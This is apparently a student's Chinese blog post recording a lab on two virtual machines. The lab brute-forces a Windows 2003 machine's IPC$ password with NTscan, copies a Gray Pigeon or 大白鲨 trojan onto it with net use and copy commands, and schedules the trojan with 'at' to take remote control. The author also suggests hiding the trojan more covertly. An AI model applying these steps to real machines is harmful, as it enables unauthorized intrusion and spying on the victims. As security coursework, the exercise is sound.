天哪，花花昨晚突然想起ARP攻击只是早上学的内容，下午学了爆率破解，虽然花花没学会但是还是很想自己试试，能做出来的话写写心得也能完善整个云计算的完整性。今天写博客的时候心情特别不好，不想吐槽。直接开始今天的内容吧~

木马

预准备

感觉每次写预准备都很虚，因为东西都是老师给的，一点成就感都没有。

1. Windows
   XP系统（攻击机/客户端）

2. Windows
   2003系统（客户）

   在客户机上的操作不是很多，但同样要预先设置好两台机器的IP地址，在同一个局域网下。
   
   开启xp与2003共2台虚拟机，开机，并桥接到vmnet 1上
   XP配置IP：192.168.0.25
   2003配置IP：192.168.0.20
   详见以前云计算02里的的操作
   
   并且用ping命令检查连通成功没有。

3. 工具
   黑鸽子软件
   NTscan

制作木马

这一步我忘记截图了，是因为操作的时候觉得没啥可以截的。
在灰鸽子软件的首页->配置服务程序

上面写自己的IP地址，下面路径里写上生成木马的地址。
再检查一下是否生成成功即可。

IPC$暴力破解

1. 生成密码字典，然后使用NTscan工具，设置破解IP地址范围，选择IPC$
   

   点击start后

   字典里没有密码的情况
   字典里有密码的情况
   
   找到的密码显示为红色

2. 与目标主机建立IPC￥
   命令是(格式一定不能错啊)
   net use \目标IP\ipc$ 前面解密获得的用户密码 /user:目标机的用户名

   net use \192.168.0.20\ipc$ 123.com /user:administrator
   

3. 把木马放到目标主机
   命令是copy 本机文件位置 \目标IP\目标文件夹
   copy D：q.exe \192.168.0.20\d$
   大家可以放得更隐蔽一点
   

4. 设置目标主机运行木马
   用命令
   net time \192.168.0.20
   查询目标机现在时间
   at \192.168.0.20 XX:XX d:\q.exe
   定时让目标机运行木马程序
   

5. 成功控制目标主机
   等待时间到我们设置打开木马的时间，我们打开灰鸽子软件
   
   在自动上线主机下能够看到我们的2003上线了，再点击捕获屏幕，就能实时共享目标的服务辣。还可以操作对方的鼠标键盘，是不是很强大。
   

大白鲨软件

大白鲨软件的大致操作类似灰鸽子。

1. 生成木马
   我同样点击的是配置程序。
   下面的设置我打岔没看见老师填的啥，就随便填了自己的IP
   DNS1是自己的ip，DNS2是目标机的ip
   生成木马是ok的，但是不保证这么填是对的。
   

2. 然后就是和上面灰鸽子一样的操作，大家可以翻上去看。
   爆率破解目标机的用户名密码
   用命令连接上目标机
   把木马copy到目标机的某一处
   查看目标机的当前时间
   设置延迟时间打开木马
   等待时间到了，切换回大白鲨软件
   可以看见上线主机已经有目标机的信息了。
   

   然后同样可以进行很多操作，屏幕监控后。
   

花花今天很快，驾轻就熟。也不多说了，大家慢慢消化。我感觉今天比昨天写得好，主要是话少就显得简明精炼。果然还是高冷路线适合花呀~